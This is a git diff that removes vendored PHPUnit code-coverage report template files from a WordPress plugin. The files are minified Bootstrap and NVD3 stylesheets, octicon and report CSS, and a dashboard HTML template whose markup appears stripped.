(min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} -/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/custom.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/custom.css deleted file mode 100644 index e69de29b..00000000 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/nv.d3.min.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/nv.d3.min.css deleted file mode 100644 index 7a6f7fe9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/nv.d3.min.css +++ /dev/null @@ -1 +0,0 @@ -.nvd3 .nv-axis{pointer-events:none;opacity:1}.nvd3 .nv-axis path{fill:none;stroke:#000;stroke-opacity:.75;shape-rendering:crispEdges}.nvd3 .nv-axis path.domain{stroke-opacity:.75}.nvd3 .nv-axis.nv-x path.domain{stroke-opacity:0}.nvd3 .nv-axis line{fill:none;stroke:#e5e5e5;shape-rendering:crispEdges}.nvd3 .nv-axis .zero line,.nvd3 .nv-axis line.zero{stroke-opacity:.75}.nvd3 .nv-axis .nv-axisMaxMin text{font-weight:700}.nvd3 .x .nv-axis .nv-axisMaxMin text,.nvd3 .x2 .nv-axis .nv-axisMaxMin text,.nvd3 .x3 .nv-axis .nv-axisMaxMin text{text-anchor:middle}.nvd3 .nv-axis.nv-disabled{opacity:0}.nvd3 .nv-bars rect{fill-opacity:.75;transition:fill-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear}.nvd3 .nv-bars rect.hover{fill-opacity:1}.nvd3 .nv-bars .hover rect{fill:#add8e6}.nvd3 .nv-bars text{fill:rgba(0,0,0,0)}.nvd3 .nv-bars .hover text{fill:rgba(0,0,0,1)}.nvd3 .nv-multibar .nv-groups rect,.nvd3 .nv-multibarHorizontal .nv-groups rect,.nvd3 .nv-discretebar .nv-groups rect{stroke-opacity:0;transition:fill-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear}.nvd3 .nv-multibar .nv-groups rect:hover,.nvd3 .nv-multibarHorizontal .nv-groups rect:hover,.nvd3 .nv-candlestickBar .nv-ticks rect:hover,.nvd3 .nv-discretebar .nv-groups rect:hover{fill-opacity:1}.nvd3 .nv-discretebar .nv-groups text,.nvd3 .nv-multibarHorizontal .nv-groups text{font-weight:700;fill:rgba(0,0,0,1);stroke:rgba(0,0,0,0)}.nvd3 .nv-boxplot circle{fill-opacity:.5}.nvd3 .nv-boxplot circle:hover{fill-opacity:1}.nvd3 .nv-boxplot rect:hover{fill-opacity:1}.nvd3 line.nv-boxplot-median{stroke:#000}.nv-boxplot-tick:hover{stroke-width:2.5px}.nvd3.nv-bullet{font:10px sans-serif}.nvd3.nv-bullet .nv-measure{fill-opacity:.8}.nvd3.nv-bullet .nv-measure:hover{fill-opacity:1}.nvd3.nv-bullet .nv-marker{stroke:#000;stroke-width:2px}.nvd3.nv-bullet .nv-markerTriangle{stroke:#000;fill:#fff;stroke-width:1.5px}.nvd3.nv-bullet .nv-tick line{stroke:#666;stroke-width:.5px}.nvd3.nv-bullet .nv-range.nv-s0{fill:#eee}.nvd3.nv-bullet .nv-range.nv-s1{fill:#ddd}.nvd3.nv-bullet .nv-range.nv-s2{fill:#ccc}.nvd3.nv-bullet .nv-title{font-size:14px;font-weight:700}.nvd3.nv-bullet .nv-subtitle{fill:#999}.nvd3.nv-bullet .nv-range{fill:#bababa;fill-opacity:.4}.nvd3.nv-bullet .nv-range:hover{fill-opacity:.7}.nvd3.nv-candlestickBar .nv-ticks .nv-tick{stroke-width:1px}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.hover{stroke-width:2px}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.positive rect{stroke:#2ca02c;fill:#2ca02c}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.negative rect{stroke:#d62728;fill:#d62728}.with-transitions .nv-candlestickBar .nv-ticks .nv-tick{transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-candlestickBar .nv-ticks line{stroke:#333}.nvd3 .nv-legend .nv-disabled rect{}.nvd3 .nv-check-box .nv-box{fill-opacity:0;stroke-width:2}.nvd3 .nv-check-box .nv-check{fill-opacity:0;stroke-width:4}.nvd3 .nv-series.nv-disabled .nv-check-box .nv-check{fill-opacity:0;stroke-opacity:0}.nvd3 .nv-controlsWrap .nv-legend .nv-check-box .nv-check{opacity:0}.nvd3.nv-linePlusBar .nv-bar rect{fill-opacity:.75}.nvd3.nv-linePlusBar .nv-bar rect:hover{fill-opacity:1}.nvd3 .nv-groups path.nv-line{fill:none}.nvd3 .nv-groups path.nv-area{stroke:none}.nvd3.nv-line .nvd3.nv-scatter .nv-groups .nv-point{fill-opacity:0;stroke-opacity:0}.nvd3.nv-scatter.nv-single-point .nv-groups .nv-point{fill-opacity:.5!important;stroke-opacity:.5!important}.with-transitions .nvd3 .nv-groups .nv-point{transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-scatter .nv-groups .nv-point.hover,.nvd3 .nv-groups .nv-point.hover{stroke-width:7px;fill-opacity:.95!important;stroke-opacity:.95!important}.nvd3 .nv-point-paths path{stroke:#aaa;stroke-opacity:0;fill:#eee;fill-opacity:0}.nvd3 .nv-indexLine{cursor:ew-resize}svg.nvd3-svg{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-ms-user-select:none;-moz-user-select:none;user-select:none;display:block;width:100%;height:100%}.nvtooltip.with-3d-shadow,.with-3d-shadow .nvtooltip{-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nvd3 text{font:400 12px Arial}.nvd3 .title{font:700 14px Arial}.nvd3 .nv-background{fill:#fff;fill-opacity:0}.nvd3.nv-noData{font-size:18px;font-weight:700}.nv-brush .extent{fill-opacity:.125;shape-rendering:crispEdges}.nv-brush .resize path{fill:#eee;stroke:#666}.nvd3 .nv-legend .nv-series{cursor:pointer}.nvd3 .nv-legend .nv-disabled circle{fill-opacity:0}.nvd3 .nv-brush .extent{fill-opacity:0!important}.nvd3 .nv-brushBackground rect{stroke:#000;stroke-width:.4;fill:#fff;fill-opacity:.7}.nvd3.nv-ohlcBar .nv-ticks .nv-tick{stroke-width:1px}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.hover{stroke-width:2px}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.positive{stroke:#2ca02c}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.negative{stroke:#d62728}.nvd3 .background path{fill:none;stroke:#EEE;stroke-opacity:.4;shape-rendering:crispEdges}.nvd3 .foreground path{fill:none;stroke-opacity:.7}.nvd3 .nv-parallelCoordinates-brush .extent{fill:#fff;fill-opacity:.6;stroke:gray;shape-rendering:crispEdges}.nvd3 .nv-parallelCoordinates .hover{fill-opacity:1;stroke-width:3px}.nvd3 .missingValuesline line{fill:none;stroke:#000;stroke-width:1;stroke-opacity:1;stroke-dasharray:5,5}.nvd3.nv-pie path{stroke-opacity:0;transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-pie .nv-pie-title{font-size:24px;fill:rgba(19,196,249,.59)}.nvd3.nv-pie .nv-slice text{stroke:#000;stroke-width:0}.nvd3.nv-pie path{stroke:#fff;stroke-width:1px;stroke-opacity:1}.nvd3.nv-pie .hover path{fill-opacity:.7}.nvd3.nv-pie .nv-label{pointer-events:none}.nvd3.nv-pie .nv-label rect{fill-opacity:0;stroke-opacity:0}.nvd3 .nv-groups .nv-point.hover{stroke-width:20px;stroke-opacity:.5}.nvd3 .nv-scatter .nv-point.hover{fill-opacity:1}.nv-noninteractive{pointer-events:none}.nv-distx,.nv-disty{pointer-events:none}.nvd3.nv-sparkline path{fill:none}.nvd3.nv-sparklineplus g.nv-hoverValue{pointer-events:none}.nvd3.nv-sparklineplus .nv-hoverValue line{stroke:#333;stroke-width:1.5px}.nvd3.nv-sparklineplus,.nvd3.nv-sparklineplus g{pointer-events:all}.nvd3 .nv-hoverArea{fill-opacity:0;stroke-opacity:0}.nvd3.nv-sparklineplus .nv-xValue,.nvd3.nv-sparklineplus .nv-yValue{stroke-width:0;font-size:.9em;font-weight:400}.nvd3.nv-sparklineplus .nv-yValue{stroke:#f66}.nvd3.nv-sparklineplus .nv-maxValue{stroke:#2ca02c;fill:#2ca02c}.nvd3.nv-sparklineplus .nv-minValue{stroke:#d62728;fill:#d62728}.nvd3.nv-sparklineplus .nv-currentValue{font-weight:700;font-size:1.1em}.nvd3.nv-stackedarea path.nv-area{fill-opacity:.7;stroke-opacity:0;transition:fill-opacity 250ms linear,stroke-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear,stroke-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-stackedarea path.nv-area.hover{fill-opacity:.9}.nvd3.nv-stackedarea .nv-groups .nv-point{stroke-opacity:0;fill-opacity:0}.nvtooltip{position:absolute;background-color:rgba(255,255,255,1);color:rgba(0,0,0,1);padding:1px;border:1px solid rgba(0,0,0,.2);z-index:10000;display:block;font-family:Arial;font-size:13px;text-align:left;pointer-events:none;white-space:nowrap;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.nvtooltip{background:rgba(255,255,255,.8);border:1px solid rgba(0,0,0,.5);border-radius:4px}.nvtooltip.with-transitions,.with-transitions .nvtooltip{transition:opacity 50ms linear;-moz-transition:opacity 50ms linear;-webkit-transition:opacity 50ms linear;transition-delay:200ms;-moz-transition-delay:200ms;-webkit-transition-delay:200ms}.nvtooltip.x-nvtooltip,.nvtooltip.y-nvtooltip{padding:8px}.nvtooltip h3{margin:0;padding:4px 14px;line-height:18px;font-weight:400;background-color:rgba(247,247,247,.75);color:rgba(0,0,0,1);text-align:center;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.nvtooltip p{margin:0;padding:5px 14px;text-align:center}.nvtooltip span{display:inline-block;margin:2px 0}.nvtooltip table{margin:6px;border-spacing:0}.nvtooltip table td{padding:2px 9px 2px 0;vertical-align:middle}.nvtooltip table td.key{font-weight:400}.nvtooltip table td.value{text-align:right;font-weight:700}.nvtooltip table tr.highlight td{padding:1px 9px 1px 0;border-bottom-style:solid;border-bottom-width:1px;border-top-style:solid;border-top-width:1px}.nvtooltip table td.legend-color-guide div{width:8px;height:8px;vertical-align:middle}.nvtooltip table td.legend-color-guide div{width:12px;height:12px;border:1px solid #999}.nvtooltip .footer{padding:3px;text-align:center}.nvtooltip-pending-removal{pointer-events:none;display:none}.nvd3 .nv-interactiveGuideLine{pointer-events:none}.nvd3 line.nv-guideline{stroke:#ccc} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/octicons.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/octicons.css deleted file mode 100644 index 31d97867..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/octicons.css +++ /dev/null @@ -1,5 +0,0 @@ -.octicon { - display: inline-block; - vertical-align: text-top; - fill: currentColor; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/style.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/style.css deleted file mode 100644 index 2edd6097..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/style.css +++ /dev/null @@ -1,158 +0,0 @@ -body { - font-family: sans-serif; - font-size: 1em; - font-kerning: normal; - font-variant-ligatures: common-ligatures; - text-rendering: optimizeLegibility; - padding-top: 10px; -} - -.popover { - max-width: none; -} - -.octicon { - margin-right:.25em; - vertical-align: baseline; - width: 0.75em; -} - -.table-bordered>thead>tr>td { - border-bottom-width: 1px; -} - -.table tbody>tr>td, .table thead>tr>td { - padding-top: 3px; - padding-bottom: 3px; -} - -.table-condensed tbody>tr>td { - padding-top: 0; - padding-bottom: 0; -} - -.table .progress { - margin-bottom: inherit; -} - -.table-borderless th, .table-borderless td { - border: 0 !important; -} - -.table tbody tr.covered-by-large-tests, li.covered-by-large-tests, tr.success, td.success, li.success, span.success { - background-color: #dff0d8; -} - -.table tbody tr.covered-by-medium-tests, li.covered-by-medium-tests { - background-color: #c3e3b5; -} - -.table tbody tr.covered-by-small-tests, li.covered-by-small-tests { - background-color: #99cb84; -} - -.table tbody tr.danger, .table tbody td.danger, li.danger, span.danger { - background-color: #f2dede; -} - -.table tbody tr.warning, .table tbody td.warning, li.warning, span.warning { - background-color: #fcf8e3; -} - -.table tbody td.info { - background-color: #d9edf7; -} - -td.big { - vertical-align: middle; - width: 117px; -} - -td.small { -} - -td.codeLine { - font-family: "Source Code Pro", "SFMono-Regular", Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; - white-space: pre-wrap; -} - -td span.comment { - color: #888a85; -} - -td span.default { - color: #2e3436; -} - -td span.html { - color: #888a85; -} - -td span.keyword { - color: #2e3436; - font-weight: bold; -} - -pre span.string { - color: #2e3436; -} - -span.success, span.warning, span.danger { - margin-right: 2px; - padding-left: 10px; - padding-right: 10px; - text-align: center; -} - -#toplink { - position: fixed; - left: 5px; - bottom: 5px; - outline: 0; -} - -svg text { - font-family: "Lucida Grande", "Lucida Sans Unicode", Verdana, Arial, Helvetica, sans-serif; - font-size: 11px; - color: #666; - fill: #666; -} - -.scrollbox { - height:245px; - overflow-x:scroll; - overflow-y:scroll; -} - -table + .structure-heading { - border-top: 1px solid lightgrey; - padding-top: 0.5em; -} - -.legend { - font-weight: bold; - margin-right: 2px; - padding-left: 10px; - padding-right: 10px; - text-align: center; -} - -.covered-by-small-tests { - background-color: #99cb84; -} - -.covered-by-medium-tests { - background-color: #c3e3b5; -} - -.covered-by-large-tests { - background-color: #dff0d8; -} - -.not-covered { - background-color: #f2dede; -} - -.not-coverable { - background-color: #fcf8e3; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard.html.dist deleted file mode 100644 index 60e66d5b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard.html.dist +++ /dev/null @@ -1,281 +0,0 @@ - - - - - Dashboard for {{full_path}} - - - - - - - -
      -
      -
      -
      - -
      -
      -
      -
      -
      -
      -
      -

      Classes

      -
      -
      -
      -
      -

      Coverage Distribution

      -
      - -
      -
      -
      -

      Complexity

      -
      - -
      -
      -
      -
      -
      -

      Insufficient Coverage

      -
      - - - - - - - - -{{insufficient_coverage_classes}} - -
      ClassCoverage
      -
      -
      -
      -

      Project Risks

      -
      - - - - - - - - -{{project_risks_classes}} - -
      ClassCRAP
      -
      -
      -
      -
      -
      -

      Methods

      -
      -
      -
      -
      -

      Coverage Distribution

      -
      - -
      -
      -
      -

      Complexity

      -
      - -
      -
      -
      -
      -
      -

      Insufficient Coverage

      -
